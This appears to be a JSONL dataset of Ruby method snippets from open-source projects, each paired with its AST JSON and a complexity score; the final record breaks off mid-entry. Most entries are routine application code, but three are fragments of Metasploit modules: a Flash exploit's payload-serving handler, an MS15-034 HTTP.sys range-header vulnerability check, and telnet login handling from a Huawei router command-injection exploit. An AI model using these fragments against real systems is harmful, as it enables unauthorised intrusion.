{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/helpers/labels_helper.rb","start_line":39,"raw_source":"def link_to_label(label, type: :issue, tooltip: true, css_class: nil, &block)\n    link = label.filter_path(type: type)\n\n    if block\n      link_to link, class: css_class, &block\n    else\n      render_label(label, link: link, tooltip: tooltip)\n    end\n  end","complexity_score":6.5,"ast_json":"{\"type\":\"def\",\"children\":[\"link_to_label\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"label\"]},{\"type\":\"kwoptarg\",\"children\":[\"type\",{\"type\":\"sym\",\"children\":[\"issue\"]}]},{\"type\":\"kwoptarg\",\"children\":[\"tooltip\",{\"type\":\"true\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"css_class\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"blockarg\",\"children\":[\"block\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"link\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"label\"]},\"filter_path\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"lvar\",\"children\":[\"type\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]},{\"type\":\"send\",\"children\":[null,\"link_to\",{\"type\":\"lvar\",\"children\":[\"link\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"class\"]},{\"type\":\"lvar\",\"children\":[\"css_class\"]}]}]},{\"type\":\"block_pass\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]}]}]},{\"type\":\"send\",\"children\":[null,\"render_label\",{\"type\":\"lvar\",\"children\":[\"label\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"link\"]},{\"type\":\"lvar\",\"children\":[\"link\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"tooltip\"]},{\"type\":\"lvar\",\"children\":[\"tooltip\"]}]}]}]}]}]}]}","id":"2abd7e36-004e-4ca1-a459-c4708383c742"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/support/helpers/gitlab_verify_helpers.rb","start_line":20,"raw_source":"def collect_results(verifier)\n    out = []\n\n    verifier.run_batches { |*args| out << args }\n\n    out\n  end","complexity_score":4.1,"ast_json":"{\"type\":\"def\",\"children\":[\"collect_results\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"verifier\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"out\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"verifier\"]},\"run_batches\"]},{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"args\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"out\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"args\"]}]}]},{\"type\":\"lvar\",\"children\":[\"out\"]}]}]}","id":"e2c424b9-5706-4106-9ebb-45ec3c2ab343"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/lib/action_view/helpers/sanitize_helper.rb","start_line":156,"raw_source":"def strip_links(html)\n        self.class.link_sanitizer.sanitize(html)\n      end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"strip_links\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"html\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"link_sanitizer\"]},\"sanitize\",{\"type\":\"lvar\",\"children\":[\"html\"]}]}]}","id":"4508d4af-a797-4887-8730-42ce4b1d479b"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/browser/adobe_flash_casi32_int_overflow.rb","start_line":69,"raw_source":"def on_request_exploit(cli, request, target_info)\n    print_status(\"Request: #{request.uri}\")\n\n    if request.uri =~ /\\.swf$/\n      print_status('Sending SWF...')\n      send_response(cli, @swf, { 'Content-Type' => 'application/x-shockwave-flash', 'Cache-Control' => 'no-cache, no-store', 'Pragma' => 'no-cache' })\n      return\n    end\n\n    print_status('Sending HTML...')\n    send_exploit_html(cli, exploit_template(cli, target_info), { 'Pragma' => 'no-cache' })\n  end","complexity_score":9.8,"ast_json":"{\"type\":\"def\",\"children\":[\"on_request_exploit\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"cli\"]},{\"type\":\"arg\",\"children\":[\"request\"]},{\"type\":\"arg\",\"children\":[\"target_info\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Request: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"request\"]},\"uri\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"request\"]},\"uri\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\.swf$\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Sending SWF...\"]}]},{\"type\":\"send\",\"children\":[null,\"send_response\",{\"type\":\"lvar\",\"children\":[\"cli\"]},{\"type\":\"ivar\",\"children\":[\"@swf\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Content-Type\"]},{\"type\":\"str\",\"children\":[\"application/x-shockwave-flash\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Cache-Control\"]},{\"type\":\"str\",\"children\":[\"no-cache, no-store\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Pragma\"]},{\"type\":\"str\",\"children\":[\"no-cache\"]}]}]}]},{\"type\":\"return\",\"children\":[]}]},null]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Sending HTML...\"]}]},{\"type\":\"send\",\"children\":[null,\"send_exploit_html\",{\"type\":\"lvar\",\"children\":[\"cli\"]},{\"type\":\"send\",\"children\":[null,\"exploit_template\",{\"type\":\"lvar\",\"children\":[\"cli\"]},{\"type\":\"lvar\",\"children\":[\"target_info\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Pragma\"]},{\"type\":\"str\",\"children\":[\"no-cache\"]}]}]}]}]}]}","id":"c0875e14-9922-4ddc-a8e8-bb1bec1f416f"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/layout/line_end_string_concatenation_indentation.rb","start_line":109,"raw_source":"def always_indented?(dstr_node)\n          PARENT_TYPES_FOR_INDENTED.include?(dstr_node.parent&.type)\n        end","complexity_score":3.7,"ast_json":"{\"type\":\"def\",\"children\":[\"always_indented?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"dstr_node\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PARENT_TYPES_FOR_INDENTED\"]},\"include?\",{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dstr_node\"]},\"parent\"]},\"type\"]}]}]}","id":"bfec0225-3922-455a-a6e9-257a4343a0dd"}
{"repo_name":"spree","file_path":"./repos/spree/storefront/app/controllers/spree/checkout_controller.rb","start_line":206,"raw_source":"def allow_access_to_complete_order_with_new_user?\n      cookies_order_token = cookies.permanent.signed[:token]\n\n      @order.completed? && @order.signup_for_an_account? && @order.user_id.present? && cookies_order_token.present? && cookies_order_token == @order.token\n    end","complexity_score":20.3,"ast_json":"{\"type\":\"def\",\"children\":[\"allow_access_to_complete_order_with_new_user?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"cookies_order_token\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cookies\"]},\"permanent\"]},\"signed\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"token\"]}]}]},{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@order\"]},\"completed?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@order\"]},\"signup_for_an_account?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@order\"]},\"user_id\"]},\"present?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cookies_order_token\"]},\"present?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cookies_order_token\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@order\"]},\"token\"]}]}]}]}]}","id":"541fc5c4-da90-49f4-9dd0-3deca2334e0f"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/miq_policy.rb","start_line":380,"raw_source":"def self.all_policy_events_filter\n    # Todo Convert to SQL if possible\n    filter_hash = {\n       \"AND\" => [\n           {\"=\"  => {\"field\" => \"MiqEventDefinition-event_type\",       \"value\" => \"Default\"}},\n           {\"!=\" => {\"field\" => \"MiqEventDefinition-event_group_name\", \"value\" => \"\"}}\n          ]\n        }\n        EVENT_GROUPS_EXCLUDED.each do |e|\n          filter_hash[\"AND\"] << {\"!=\" => {\"field\" => \"MiqEventDefinition-event_group_name\", \"value\" => e}}\n        end\n\n        MiqExpression.new(filter_hash)\n  end","complexity_score":6.4,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"all_policy_events_filter\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"filter_hash\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"AND\"]},{\"type\":\"array\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"=\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"field\"]},{\"type\":\"str\",\"children\":[\"MiqEventDefinition-event_type\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"value\"]},{\"type\":\"str\",\"children\":[\"Default\"]}]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"!=\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"field\"]},{\"type\":\"str\",\"children\":[\"MiqEventDefinition-event_group_name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"value\"]},{\"type\":\"str\",\"children\":[\"\"]}]}]}]}]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"EVENT_GROUPS_EXCLUDED\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"e\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"filter_hash\"]},\"[]\",{\"type\":\"str\",\"children\":[\"AND\"]}]},\"<<\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"!=\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"field\"]},{\"type\":\"str\",\"children\":[\"MiqEventDefinition-event_group_name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"value\"]},{\"type\":\"lvar\",\"children\":[\"e\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MiqExpression\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"filter_hash\"]}]}]}]}","id":"4075a1d8-ab6d-4135-b92a-fd2908734390"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/scanner/http/ms15_034_http_sys_memory_dump.rb","start_line":81,"raw_source":"def check_host(ip)\n    upper_range = 0xFFFFFFFFFFFFFFFF\n\n    potential_static_files_uris.each do |potential_uri|\n      uri = normalize_uri(potential_uri)\n\n      res = send_request_raw(\n        'uri' => uri,\n        'method' => 'GET',\n        'headers' => {\n          'Range' => \"bytes=0-#{upper_range}\"\n        }\n      )\n\n      if res && res.body.include?('Requested Range Not Satisfiable')\n        vmessage = \"#{peer} - Checking #{uri} [#{res.code}]\"\n        vprint_status(\"#{vmessage} - Vulnerable\")\n\n        # Save the file that we want to use for the information leak\n        target_uri.path = uri\n\n        return Exploit::CheckCode::Vulnerable\n      elsif res && res.body.include?('The request has an invalid header name')\n        return Exploit::CheckCode::Safe\n      end\n    end\n\n    Exploit::CheckCode::Unknown\n  end","complexity_score":28.45,"ast_json":"{\"type\":\"def\",\"children\":[\"check_host\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"ip\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"upper_range\",{\"type\":\"int\",\"children\":[18446744073709551615]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"potential_static_files_uris\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"potential_uri\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"uri\",{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"lvar\",\"children\":[\"potential_uri\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_raw\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"lvar\",\"children\":[\"uri\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"GET\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"headers\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Range\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"bytes=0-\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"upper_range\"]}]}]}]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},\"include?\",{\"type\":\"str\",\"children\":[\"Requested Range Not Satisfiable\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"vmessage\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"peer\"]}]},{\"type\":\"str\",\"children\":[\" - Checking \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"uri\"]}]},{\"type\":\"str\",\"children\":[\" [\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]}]},{\"type\":\"str\",\"children\":[\"]\"]}]}]},{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"vmessage\"]}]},{\"type\":\"str\",\"children\":[\" - Vulnerable\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path=\",{\"type\":\"lvar\",\"children\":[\"uri\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Vulnerable\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},\"include?\",{\"type\":\"str\",\"children\":[\"The request has an invalid header name\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Safe\"]}]},null]}]}]}]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Unknown\"]}]}]}","id":"3381a281-b7b9-4902-828f-511e886988af"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/chat/app/services/chat/search_chatable.rb","start_line":49,"raw_source":"def fetch_groups(guardian:, params:)\n      return unless params.include_groups\n      return unless guardian.can_create_direct_message?\n      search_groups(params, guardian)\n    end","complexity_score":5.0,"ast_json":"{\"type\":\"def\",\"children\":[\"fetch_groups\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"guardian\"]},{\"type\":\"kwarg\",\"children\":[\"params\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"include_groups\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"guardian\"]},\"can_create_direct_message?\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"search_groups\",{\"type\":\"lvar\",\"children\":[\"params\"]},{\"type\":\"lvar\",\"children\":[\"guardian\"]}]}]}]}","id":"fb427c43-a1c3-44e4-b85f-1daaacd783b4"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/http/huawei_hg532n_cmdinject.rb","start_line":345,"raw_source":"def telnet_auth_negotiation(sock, timeout)\n    begin\n      read_until(sock, timeout, 'Password:')\n      sock.write(IAC + DO + OPT_ECHO + IAC + DO + OPT_SGA)\n    rescue ::Timeout::Error\n      fail_with(Failure::UnexpectedReply, \"Expected first password banner not received\")\n    end\n\n    begin\n      read_until(sock, timeout, 'Password:') # Router bug\n      sock.write(datastore['TelnetPassword'] + OPT_NAOFFD + OPT_BINARY)\n    rescue ::Timeout::Error\n      fail_with(Failure::UnexpectedReply, \"Expected second password banner not received\")\n    end\n  end","complexity_score":24.8,"ast_json":"{\"type\":\"def\",\"children\":[\"telnet_auth_negotiation\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"sock\"]},{\"type\":\"arg\",\"children\":[\"timeout\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"read_until\",{\"type\":\"lvar\",\"children\":[\"sock\"]},{\"type\":\"lvar\",\"children\":[\"timeout\"]},{\"type\":\"str\",\"children\":[\"Password:\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sock\"]},\"write\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"IAC\"]},\"+\",{\"type\":\"const\",\"children\":[null,\"DO\"]}]},\"+\",{\"type\":\"const\",\"children\":[null,\"OPT_ECHO\"]}]},\"+\",{\"type\":\"const\",\"children\":[null,\"IAC\"]}]},\"+\",{\"type\":\"const\",\"children\":[null,\"DO\"]}]},\"+\",{\"type\":\"const\",\"children\":[null,\"OPT_SGA\"]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Timeout\"]},\"Error\"]}]},null,{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"UnexpectedReply\"]},{\"type\":\"str\",\"children\":[\"Expected first password banner not received\"]}]}]},null]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"read_until\",{\"type\":\"lvar\",\"children\":[\"sock\"]},{\"type\":\"lvar\",\"children\":[\"timeout\"]},{\"type\":\"str\",\"children\":[\"Password:\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sock\"]},\"write\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"TelnetPassword\"]}]},\"+\",{\"type\":\"const\",\"children\":[null,\"OPT_NAOFFD\"]}]},\"+\",{\"type\":\"const\",\"children\":[null,\"OPT_BINARY\"]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Timeout\"]},\"Error\"]}]},null,{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"UnexpectedReply\"]},{\"type\":\"str\",\"children\":[\"Expected second password banner not received\"]}]}]},null]}]}]}]}","id":"ca650054-19fc-48a0-8faf-80a68ab5cd2a"}
{"repo_name":"rails","file_path":"./repos/rails/railties/lib/rails/test_unit/runner.rb","start_line":50,"raw_source":"def run_from_rake(test_command, argv = [])\n          # Ensure the tests run during the Rake Task action, not when the process exits\n          success = system(\"rails\", test_command, *argv, *Shellwords.split(ENV[\"TESTOPTS\"] || \"\"))\n          success || exit(false)\n        end","complexity_score":9.2,"ast_json":"{\"type\":\"def\",\"children\":[\"run_from_rake\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"test_command\"]},{\"type\":\"optarg\",\"children\":[\"argv\",{\"type\":\"array\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"success\",{\"type\":\"send\",\"children\":[null,\"system\",{\"type\":\"str\",\"children\":[\"rails\"]},{\"type\":\"lvar\",\"children\":[\"test_command\"]},{\"type\":\"splat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"argv\"]}]},{\"type\":\"splat\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Shellwords\"]},\"split\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ENV\"]},\"[]\",{\"type\":\"str\",\"children\":[\"TESTOPTS\"]}]},{\"type\":\"str\",\"children\":[\"\"]}]}]}]}]}]},{\"type\":\"or\",\"children\":[{\"type\":\"lvar\",\"children\":[\"success\"]},{\"type\":\"send\",\"children\":[null,\"exit\",{\"type\":\"false\",\"children\":[]}]}]}]}]}","id":"a27136ea-930f-4af3-a030-70cc5ac44a70"}
{"repo_name":"openproject","file_path":"./repos/openproject/lib/individual_principals/membership_controller_methods.rb","start_line":36,"raw_source":"def find_membership\n      @membership = Member.visible(current_user).find(params[:id])\n    end","complexity_score":7.2,"ast_json":"{\"type\":\"def\",\"children\":[\"find_membership\",{\"type\":\"args\",\"children\":[]},{\"type\":\"ivasgn\",\"children\":[\"@membership\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Member\"]},\"visible\",{\"type\":\"send\",\"children\":[null,\"current_user\"]}]},\"find\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"id\"]}]}]}]}]}","id":"28a5a5ad-2a32-48ea-a428-8da03a100a70"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/test/core_ext/hash_ext_test.rb","start_line":282,"raw_source":"def test_deep_merge_with_block\n    hash_1 = { a: \"a\", b: \"b\", c: { c1: \"c1\", c2: \"c2\", c3: { d1: \"d1\" } } }\n    hash_2 = { a: 1, c: { c1: 2, c3: { d2: \"d2\" } } }\n    expected = { a: [:a, \"a\", 1], b: \"b\", c: { c1: [:c1, \"c1\", 2], c2: \"c2\", c3: { d1: \"d1\", d2: \"d2\" } } }\n    assert_equal(expected, hash_1.deep_merge(hash_2) { |k, o, n| [k, o, n] })\n\n    hash_1.deep_merge!(hash_2) { |k, o, n| [k, o, n] }\n    assert_equal expected, hash_1\n  end","complexity_score":10.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_deep_merge_with_block\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"hash_1\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"a\"]},{\"type\":\"str\",\"children\":[\"a\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"b\"]},{\"type\":\"str\",\"children\":[\"b\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"c\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"c1\"]},{\"type\":\"str\",\"children\":[\"c1\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"c2\"]},{\"type\":\"str\",\"children\":[\"c2\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"c3\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"d1\"]},{\"type\":\"str\",\"children\":[\"d1\"]}]}]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"hash_2\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"a\"]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"c\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"c1\"]},{\"type\":\"int\",\"children\":[2]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"c3\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"d2\"]},{\"type\":\"str\",\"children\":[\"d2\"]}]}]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"expected\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"a\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"a\"]},{\"type\":\"str\",\"children\":[\"a\"]},{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"b\"]},{\"type\":\"str\",\"children\":[\"b\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"c\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"c1\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"c1\"]},{\"type\":\"str\",\"children\":[\"c1\"]},{\"type\":\"int\",\"children\":[2]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"c2\"]},{\"type\":\"str\",\"children\":[\"c2\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"c3\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"d1\"]},{\"type\":\"str\",\"children\":[\"d1\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"d2\"]},{\"type\":\"str\",\"children\":[\"d2\"]}]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"lvar\",\"children\":[\"expected\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hash_1\"]},\"deep_merge\",{\"type\":\"lvar\",\"children\":[\"hash_2\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"k\"]},{\"type\":\"arg\",\"children\":[\"o\"]},{\"type\":\"arg\",\"children\":[\"n\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\